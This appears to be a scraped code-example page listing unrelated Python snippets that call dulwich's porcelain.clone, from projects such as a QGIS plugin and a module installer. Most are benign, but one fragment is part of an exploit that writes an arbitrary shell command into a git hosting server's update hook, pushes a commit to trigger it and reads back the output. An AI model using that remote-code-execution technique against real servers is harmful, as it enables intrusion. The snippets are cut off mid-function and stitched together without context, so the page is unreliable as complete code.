Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.
#
# Example usage:
# python examples/clone.py git://github.com/jelmer/dulwich dulwich-clone
import sys
from getopt import getopt
from dulwich import porcelain
opts, args = getopt(sys.argv, "", [])
opts = dict(opts)
if len(args) < 2:
print("usage: %s host:path path" % (args[0], ))
sys.exit(1)
porcelain.clone(args[1], args[2])
if repo_post.status_code != 302:
print "[-] Cannot create admin repo"
os._exit(0)
csrf = get_csrf('{}/{}/settings/hooks/git/update'.format(user_name, admin_repo_name))
hook_posts = s.post('{}{}/{}/settings/hooks/git/update'.format(url, user_name, admin_repo_name), data={'_csrf':csrf, 'content':"#!/bin/sh\n{}>objects/info/exploit".format(command)}, allow_redirects=False)
if hook_posts.status_code != 302:
print "[-] Cannot updatehook"
os._exit(0)
clone_url = '{}{}:{}@{}{}/{}.git'.format(url[0:7], login_token, "", url[7:], user_name, admin_repo_name)
temp_repo_dir = get_random()
r = porcelain.clone(clone_url, temp_repo_dir)
porcelain.commit(r, get_random())
porcelain.push(r, clone_url, "master")
command_output = s.get('{}{}/{}/objects/info/exploit'.format(url, user_name, admin_repo_name))
if command_output.status_code != 200:
print "[-] Cannot get exploit output"
os._exit(0)
print command_output.text.encode("utf-8")
def git_pull(path, local_path="/tmp/giggity.git"):
try:
porcelain.pull(local_path, path)
return local_path
except dulwich.errors.NotGitRepository:
t = tempfile.mkdtemp(prefix=local_path)
repo = porcelain.clone(path, bare=True, target=t, checkout=False)
try:
os.rename(t, local_path)
return local_path
except OSError:
# Guess there may have been a race. All we know
# is the one we just created should work.
return t
def install_module(self, url: str, identifier: str, name: str, verbose=False, interactive=True) -> bool:
"""Install a module."""
module_path = os.path.join(self.module_dir, identifier.replace('.', '_'))
dep_path = os.path.join(self.module_dependencies_dir, identifier.replace('.', '_'))
if os.path.exists(module_path):
if verbose:
Logger.log(None, '✔⇩ {}'.format(name))
return False
if verbose:
Logger.log(None, '⇩ {} ({})'.format(name, url))
try:
porcelain.clone(UpdateManager.fix_git_url_for_dulwich(url), module_path)
except Exception as e:
if verbose:
Logger.log_error(None, '⇩ {}: {}'.format(name, e))
traceback.print_exc()
try:
rmtree(module_path)
except FileNotFoundError:
pass
return False
if verbose:
Logger.log(None, '⇩⇩ {}'.format(name))
warnings.filterwarnings("ignore", category=ResourceWarning)
# Clone or pull the repositories first
local_repo_dir = Path(QgsApplication.qgisSettingsDirPath(),
'resource_sharing', 'repositories',
self.git_host, self.git_owner,
self.git_repository)
# Hack to try to avoid locking errors
if local_repo_dir.exists():
try:
shutil.rmtree(str(local_repo_dir))
except:
pass
if not (local_repo_dir / '.git').exists():
local_repo_dir.mkdir(parents=True)
try:
repo = porcelain.clone(
self.url, str(local_repo_dir),
errstream=writeOut
)
repo.close() # Try to avoid WinErr 32
except Exception as e:
# Try to clone with https if it is a ssh url
git_parsed = parse(self.url)
if self.url == git_parsed.url2ssh:
try:
repo = porcelain.clone(
git_parsed.url2https, str(local_repo_dir),
errstream=writeOut)
repo.close() # Try to avoid WinErr 32
except Exception as e:
error_message = 'Error: %s' % str(e)
LOGGER.exception(traceback.format_exc())
def open_or_clone_repo(rdir, rurl, no_clone):
try:
repo = git.open_repo(rdir)
return repo
except:
repo = None
if repo is None and no_clone is False:
dbg('Cloning %s to %s' % (rurl, rdir))
return git.clone(rurl, rdir)
if repo is None and no_clone is True:
repo = rdir
return repo
def collateGitAuthors(repoUrl):
with temporaryDirectory() as repoPath:
with open(os.devnull, 'wb') as devnull:
porcelain.clone(repoUrl, repoPath, bare=True, errstream=devnull)
authors = getRepositoryAuthorsByNumberOfCommits(repoPath)
return authors
def _query_foreign(self, url_or_path: str, **kwargs):
df = self._df
if df is None:
raise ValueError("Cannot query custom repositories if the "
"document frequencies are disabled.")
with tempfile.TemporaryDirectory(prefix="vecino-") as tempdir:
target = os.path.join(tempdir, "repo")
if os.path.isdir(url_or_path):
url_or_path = os.path.abspath(url_or_path)
os.symlink(url_or_path, target, target_is_directory=True)
repo_format = "standard"
else:
self._log.info("Cloning %s to %s", url_or_path, target)
porcelain.clone(url_or_path, target, bare=True, outstream=sys.stderr)
repo_format = "bare"
bow = repo2bow(tempdir, repo_format, 1, df, *self._languages,
engine_kwargs=self._engine_kwargs)
ibow = {}
for key, val in bow.items():
try:
ibow[self._id2vec[key]] = val
except KeyError:
continue
words, weights = zip(*sorted(ibow.items()))
return self._wmd.nearest_neighbors((words, weights), **kwargs)